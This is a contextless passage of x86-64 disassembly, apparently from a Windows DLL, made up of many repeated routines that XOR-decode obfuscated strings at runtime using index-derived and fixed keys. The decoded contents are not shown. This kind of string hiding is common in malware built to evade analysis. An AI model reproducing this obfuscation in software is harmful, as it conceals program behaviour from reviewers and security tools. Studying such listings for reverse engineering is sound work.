pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.fRWA_TYU]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1c90], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c94]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c94], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c90]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1800884b0
lea rax, [rbp + 0x1c90]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1800884f0
lea rdx, [rbp + 0x1c90]
jmp 0x18008c521
mov eax, dword [0x1801b7230]
mov r8d, esi
movsd xmm0, qword [0x1801b7228]
mov dword [rbp + 0x1808], eax
movzx eax, byte [0x1801b7234]
mov byte [rbp + 0x180c], al
movsd qword [rbp + 0x1800], xmm0
cmp r12d, 2
jl 0x180088619
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7228]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1800], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1804]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1804], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1800]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180088630
lea rax, [rbp + 0x1800]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180088670
lea rdx, [rbp + 0x1800]
jmp 0x18008c521
movzx eax, word [0x1801b7248]
mov r8d, esi
mov word [rbp + 0x2260], ax
movzx eax, byte [0x1801b724a]
mov byte [rbp + 0x2262], al
movups xmm0, xmmword [str.bFYE]
movups xmmword [rbp + 0x2250], xmm0
cmp r12d, 2
jl 0x1800887c1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x2254]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800886d0
cmp r8d, 0x13
jge 0x180088800
movsxd rax, r8d
lea r9, [rbp + 0x2250]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x1800887d0
lea rax, [rbp + 0x2250]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180088810
lea rdx, [rbp + 0x2250]
jmp 0x18008c521
cmp byte [0x1801b7261], sil
movups xmm0, xmmword [str.aRCPR]
movzx eax, word [0x1801b7260]
mov word [rbp + 0x2080], ax
movups xmmword [rbp + 0x2070], xmm0
je 0x1800889a0
mov r8d, esi
cmp r12d, 2
jl 0x180088961
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x2074]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180088870
cmp r8d, 0x12
jge 0x1800889a0
movsxd rax, r8d
lea r9, [rbp + 0x2070]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x180088970
lea rax, [rbp + 0x2070]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1800889b0
lea rdx, [rbp + 0x2070]
jmp 0x18008c521
movups xmm0, xmmword [str.s_GTC_L]
movups xmmword [rbp + 0x1e50], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180088b40
cmp r12d, 2
jl 0x180088afb
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1e54]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x180088a10
jmp 0x180088b40
lea r9, [rbp + 0x1e50]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180088b10
lea rax, [rbp + 0x1e50]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180088b50
lea rdx, [rbp + 0x1e50]
jmp 0x18008c521
movups xmm0, xmmword [0x1801b7278]
movups xmmword [rbp + 0x1e60], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180088ce0
cmp r12d, 2
jl 0x180088c9b
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1e64]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x180088bb0
jmp 0x180088ce0
lea r9, [rbp + 0x1e60]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180088cb0
lea rax, [rbp + 0x1e60]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180088cf0
lea rdx, [rbp + 0x1e60]
jmp 0x18008c521
mov eax, dword [0x1801b7288]
mov r8, r13
movzx ecx, word [0x1801b728c]
mov dword [rbp + 0x1d0], eax
movzx eax, byte [0x1801b728e]
xor byte [rbp + 0x1d1], 0x33
xor byte [rbp + 0x1d2], 0x34
xor byte [rbp + 0x1d3], 0x35
mov word [rbp + 0x1d4], cx
xor cl, 0x36
xor byte [rbp + 0x1d5], 0x37
xor al, 0x38
mov byte [rbp + 0x1d0], Ordinal_79
mov byte [rbp + 0x1d6], al
lea rax, [rbp + 0x1d0]
mov byte [rbp + 0x1d4], cl
inc r8
cmp byte [rax + r8], sil
jne 0x180088d64
lea rdx, [rbp + 0x1d0]
jmp 0x18008c521
cmp byte [0x1801b729d], sil
mov eax, dword [0x1801b7298]
movsd xmm0, qword [0x1801b7290]
mov dword [rbp + 0x1a98], eax
movzx eax, word [0x1801b729c]
mov word [rbp + 0x1a9c], ax
movsd qword [rbp + 0x1a90], xmm0
je 0x180088ee0
mov r8d, esi
cmp r12d, 2
jl 0x180088e9b
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7290]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1a90], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a94]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a94], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a90]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180088eb0
lea rax, [rbp + 0x1a90]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180088ef0
lea rdx, [rbp + 0x1a90]
jmp 0x18008c521
cmp byte [0x1801b72b5], sil
mov eax, dword [0x1801b72b0]
movups xmm0, xmmword [str.vAWZR]
mov dword [rbp + 0x2518], eax
movzx eax, word [0x1801b72b4]
movups xmmword [rbp + 0x2508], xmm0
mov word [rbp + 0x251c], ax
je 0x180089090
mov r8d, esi
cmp r12d, 2
jl 0x180089051
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x250c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180088f60
cmp r8d, 0x16
jge 0x180089090
movsxd rax, r8d
lea r9, [rbp + 0x2508]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x180089060
lea rax, [rbp + 0x2508]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1800890a0
lea rdx, [rbp + 0x2508]
jmp 0x18008c521
movups xmm0, xmmword [str.aDQPFRJ]
movups xmmword [rbp + 0x1e70], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180089230
cmp r12d, 2
jl 0x1800891eb
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1e74]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x180089100
jmp 0x180089230
lea r9, [rbp + 0x1e70]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180089200
lea rax, [rbp + 0x1e70]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180089240
lea rdx, [rbp + 0x1e70]
jmp 0x18008c521
movzx eax, word [0x1801b72c8]
mov r8, r13
mov word [rbp - 0x70], ax
movzx eax, byte [0x1801b72ca]
xor byte [rbp - 0x6f], 0x33
xor al, 0x34
mov byte [rbp - 0x70], Ordinal_79
mov byte [rbp - 0x6e], al
lea rax, [rbp - 0x70]
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180089280
lea rdx, [rbp - 0x70]
jmp 0x18008c521
cmp byte [0x1801b72d9], sil
movsd xmm0, qword [0x1801b72d0]
movzx eax, word [0x1801b72d8]
movsd qword [rbp + 0x10f0], xmm0
mov word [rbp + 0x10f8], ax
je 0x1800892ff
xor byte [rbp + 0x10f1], 0x33
xor byte [rbp + 0x10f2], 0x34
xor byte [rbp + 0x10f3], 0x35
xor byte [rbp + 0x10f4], 0x36
xor byte [rbp + 0x10f5], 0x37
xor byte [rbp + 0x10f6], 0x38
xor byte [rbp + 0x10f7], 0x39
xor byte [rbp + 0x10f8], 0x3a
xor byte [rbp + 0x10f9], 0x3b
mov byte [rbp + 0x10f0], 0x43
lea rax, [rbp + 0x10f0]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180089310
lea rdx, [rbp + 0x10f0]
jmp 0x18008c521
movups xmm0, xmmword [str.qYWWC]
movups xmmword [rbp + 0x1da0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800894a0
cmp r12d, 2
jl 0x18008945b
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1da4]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x180089370
jmp 0x1800894a0
lea r9, [rbp + 0x1da0]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180089470
lea rax, [rbp + 0x1da0]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1800894b0
lea rdx, [rbp + 0x1da0]
jmp 0x18008c521
cmp byte [0x1801b7301], sil
movups xmm0, xmmword [0x1801b72f0]
movzx eax, word [0x1801b7300]
mov word [rbp + 0x2098], ax
movups xmmword [rbp + 0x2088], xmm0
je 0x180089640
mov r8d, esi
cmp r12d, 2
jl 0x180089601
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x208c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180089510
cmp r8d, 0x12
jge 0x180089640
movsxd rax, r8d
lea r9, [rbp + 0x2088]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x180089610
lea rax, [rbp + 0x2088]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180089650
lea rdx, [rbp + 0x2088]
jmp 0x18008c521
mov eax, dword [0x1801b7310]
mov r8d, esi
movsd xmm0, qword [str.a__ESE]
mov dword [rbp + 0x1818], eax
movzx eax, byte [0x1801b7314]
mov byte [rbp + 0x181c], al
movsd qword [rbp + 0x1810], xmm0
cmp r12d, 2
jl 0x180089779
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.a__ESE]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1810], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1814]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1814], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1810]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
